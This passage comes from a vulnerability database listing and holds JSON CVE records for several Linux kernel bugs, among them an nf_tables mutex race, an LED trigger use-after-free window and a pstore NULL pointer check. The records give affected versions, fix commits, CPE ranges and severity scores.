                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE S615 LAN-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:41.681Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-354112.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "61ac7284346c32f9a8c8ceac56102f7914060428",
              "status": "affected",
              "version": "4b6346dc1edfb9839d6edee7360ed31a22fa6c95",
              "versionType": "git"
            },
            {
              "lessThan": "2cee2ff7f8cce12a63a0a23ffe27f08d99541494",
              "status": "affected",
              "version": "23292bdfda5f04e704a843b8f97b0eb95ace1ca6",
              "versionType": "git"
            },
            {
              "lessThan": "eb769ff4e281f751adcaf4f4445cbf30817be139",
              "status": "affected",
              "version": "b44a459c6561595ed7c3679599c5279204132b33",
              "versionType": "git"
            },
            {
              "lessThan": "8d3a58af50e46167b6f1db47adadad03c0045dae",
              "status": "affected",
              "version": "5d319f7a81431c6bb32eb4dc7d7975f99e2c8c66",
              "versionType": "git"
            },
            {
              "lessThan": "8038ee3c3e5b59bcd78467686db5270c68544e30",
              "status": "affected",
              "version": "720344340fb9be2765bbaab7b292ece0a4570eae",
              "versionType": "git"
            },
            {
              "lessThan": "a34ba4bdeec0c3b629160497594908dc820110f1",
              "status": "affected",
              "version": "720344340fb9be2765bbaab7b292ece0a4570eae",
              "versionType": "git"
            },
            {
              "lessThan": "0d459e2ffb541841714839e8228b845458ed3b27",
              "status": "affected",
              "version": "720344340fb9be2765bbaab7b292ece0a4570eae",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f85ca36090cbb252bcbc95fc74c2853fc792694f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e07e68823116563bdbc49cef185cda6f463bc534",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.5"
            },
            {
              "lessThan": "6.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.262",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.198",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "5.15.134",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "6.1.56",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.316",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: release mutex after nft_gc_seq_end from abort path\n\nThe commit mutex should not be released during the critical section\nbetween nft_gc_seq_begin() and nft_gc_seq_end(), otherwise, async GC\nworker could collect expired objects and get the released commit lock\nwithin the same GC sequence.\n\nnf_tables_module_autoload() temporarily releases the mutex to load\nmodule dependencies, then it goes back to replay the transaction again.\nMove it at the end of the abort phase after nft_gc_seq_end() is called."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:02.275Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/61ac7284346c32f9a8c8ceac56102f7914060428"
        },
        {
          "url": "https://git.kernel.org/stable/c/2cee2ff7f8cce12a63a0a23ffe27f08d99541494"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb769ff4e281f751adcaf4f4445cbf30817be139"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d3a58af50e46167b6f1db47adadad03c0045dae"
        },
        {
          "url": "https://git.kernel.org/stable/c/8038ee3c3e5b59bcd78467686db5270c68544e30"
        },
        {
          "url": "https://git.kernel.org/stable/c/a34ba4bdeec0c3b629160497594908dc820110f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d459e2ffb541841714839e8228b845458ed3b27"
        }
      ],
      "title": "netfilter: nf_tables: release mutex after nft_gc_seq_end from abort path",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26925",
    "datePublished": "2024-04-24T21:49:23.251Z",
    "dateReserved": "2024-02-19T14:20:24.194Z",
    "dateUpdated": "2026-05-12T11:50:41.681Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43830 (GCVE-0-2024-43830)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:21 – Updated: 2026-05-12 11:56

Title

leds: trigger: Unregister sysfs attributes before calling deactivate()

Summary

In the Linux kernel, the following vulnerability has been resolved: leds: trigger: Unregister sysfs attributes before calling deactivate() Triggers which have trigger specific sysfs attributes typically store related data in trigger-data allocated by the activate() callback and freed by the deactivate() callback. Calling device_remove_groups() after calling deactivate() leaves a window where the sysfs attributes show/store functions could be called after deactivation and then operate on the just freed trigger-data. Move the device_remove_groups() call to before deactivate() to close this race window. This also makes the deactivation path properly do things in reverse order of the activation path which calls the activate() callback before calling device_add_groups().

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/c3b7a650c8717aa89…
https://git.kernel.org/stable/c/d1415125b701ef133…
https://git.kernel.org/stable/c/09c1583f0e10c9188…
https://git.kernel.org/stable/c/3fb6a9d67cfd812a5…
https://git.kernel.org/stable/c/734ba6437e80dfc78…
https://git.kernel.org/stable/c/cb8aa9d2a4c8a15d6…
https://git.kernel.org/stable/c/0788a6f3523d3686a…
https://git.kernel.org/stable/c/c0dc9adf9474ecb71…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < c3b7a650c8717aa89df318364609c86cbc040156 (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < d1415125b701ef13370e2761f691ec632a5eb93a (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < 09c1583f0e10c918855d6e7540a79461a353e5d6 (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < 3fb6a9d67cfd812a547ac73ec02e1077c26c640d (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < 734ba6437e80dfc780e9ee9d95f912392d12b5ea (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < cb8aa9d2a4c8a15d6a43ccf901ef3d094aa60374 (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < 0788a6f3523d3686a9eed5ea1e6fcce6841277b2 (git) Affected: a7e7a3156300a7e1982b03cc9cb8fb0c86434c49 , < c0dc9adf9474ecb7106e60e5472577375aedaed3 (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43830",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:08:31.513833Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:23.792Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:05:15.405Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:56.293Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/leds/led-triggers.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c3b7a650c8717aa89df318364609c86cbc040156",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "d1415125b701ef13370e2761f691ec632a5eb93a",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "09c1583f0e10c918855d6e7540a79461a353e5d6",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "3fb6a9d67cfd812a547ac73ec02e1077c26c640d",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "734ba6437e80dfc780e9ee9d95f912392d12b5ea",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "cb8aa9d2a4c8a15d6a43ccf901ef3d094aa60374",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "0788a6f3523d3686a9eed5ea1e6fcce6841277b2",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            },
            {
              "lessThan": "c0dc9adf9474ecb7106e60e5472577375aedaed3",
              "status": "affected",
              "version": "a7e7a3156300a7e1982b03cc9cb8fb0c86434c49",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/leds/led-triggers.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nleds: trigger: Unregister sysfs attributes before calling deactivate()\n\nTriggers which have trigger specific sysfs attributes typically store\nrelated data in trigger-data allocated by the activate() callback and\nfreed by the deactivate() callback.\n\nCalling device_remove_groups() after calling deactivate() leaves a window\nwhere the sysfs attributes show/store functions could be called after\ndeactivation and then operate on the just freed trigger-data.\n\nMove the device_remove_groups() call to before deactivate() to close\nthis race window.\n\nThis also makes the deactivation path properly do things in reverse order\nof the activation path which calls the activate() callback before calling\ndevice_add_groups()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:30:38.146Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c3b7a650c8717aa89df318364609c86cbc040156"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1415125b701ef13370e2761f691ec632a5eb93a"
        },
        {
          "url": "https://git.kernel.org/stable/c/09c1583f0e10c918855d6e7540a79461a353e5d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fb6a9d67cfd812a547ac73ec02e1077c26c640d"
        },
        {
          "url": "https://git.kernel.org/stable/c/734ba6437e80dfc780e9ee9d95f912392d12b5ea"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb8aa9d2a4c8a15d6a43ccf901ef3d094aa60374"
        },
        {
          "url": "https://git.kernel.org/stable/c/0788a6f3523d3686a9eed5ea1e6fcce6841277b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/c0dc9adf9474ecb7106e60e5472577375aedaed3"
        }
      ],
      "title": "leds: trigger: Unregister sysfs attributes before calling deactivate()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43830",
    "datePublished": "2024-08-17T09:21:48.946Z",
    "dateReserved": "2024-08-17T09:11:59.273Z",
    "dateUpdated": "2026-05-12T11:56:56.293Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35940 (GCVE-0-2024-35940)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:53

Title

pstore/zone: Add a null pointer check to the psz_kmsg_read

Summary

In the Linux kernel, the following vulnerability has been resolved: pstore/zone: Add a null pointer check to the psz_kmsg_read kasprintf() returns a pointer to dynamically allocated memory which can be NULL upon failure. Ensure the allocation was successful by checking the pointer validity.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/98e2b97acb875d65b…
https://git.kernel.org/stable/c/0ff96ec22a84d80a1…
https://git.kernel.org/stable/c/635594cca59f9d7a8…
https://git.kernel.org/stable/c/ec7256887d072f98c…
https://git.kernel.org/stable/c/6f9f2e498eae7897b…
https://git.kernel.org/stable/c/98bc7e26e14fbb26a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < 98e2b97acb875d65bdfc75fc408e67975cef3041 (git) Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < 0ff96ec22a84d80a18d7ae8ca7eb111c34ee33bb (git) Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < 635594cca59f9d7a8e96187600c34facb8bc0682 (git) Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < ec7256887d072f98c42cdbef4dcc80ddf84c7a70 (git) Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < 6f9f2e498eae7897ba5d3e33908917f68ff4abcc (git) Affected: d26c3321fe18dc74517dc1f518d584aa33b0a851 , < 98bc7e26e14fbb26a6abf97603d59532475e97f8 (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.063Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98e2b97acb875d65bdfc75fc408e67975cef3041"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0ff96ec22a84d80a18d7ae8ca7eb111c34ee33bb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/635594cca59f9d7a8e96187600c34facb8bc0682"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec7256887d072f98c42cdbef4dcc80ddf84c7a70"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6f9f2e498eae7897ba5d3e33908917f68ff4abcc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98bc7e26e14fbb26a6abf97603d59532475e97f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35940",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T15:01:33.845156Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-05T15:42:36.316Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:01.633Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/pstore/zone.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "98e2b97acb875d65bdfc75fc408e67975cef3041",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            },
            {
              "lessThan": "0ff96ec22a84d80a18d7ae8ca7eb111c34ee33bb",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            },
            {
              "lessThan": "635594cca59f9d7a8e96187600c34facb8bc0682",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            },
            {
              "lessThan": "ec7256887d072f98c42cdbef4dcc80ddf84c7a70",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            },
            {
              "lessThan": "6f9f2e498eae7897ba5d3e33908917f68ff4abcc",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            },
            {
              "lessThan": "98bc7e26e14fbb26a6abf97603d59532475e97f8",
              "status": "affected",
              "version": "d26c3321fe18dc74517dc1f518d584aa33b0a851",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/pstore/zone.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npstore/zone: Add a null pointer check to the psz_kmsg_read\n\nkasprintf() returns a pointer to dynamically allocated memory\nwhich can be NULL upon failure. Ensure the allocation was successful\nby checking the pointer validity."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:09.085Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/98e2b97acb875d65bdfc75fc408e67975cef3041"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ff96ec22a84d80a18d7ae8ca7eb111c34ee33bb"
        },
        {
          "url": "https://git.kernel.org/stable/c/635594cca59f9d7a8e96187600c34facb8bc0682"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec7256887d072f98c42cdbef4dcc80ddf84c7a70"
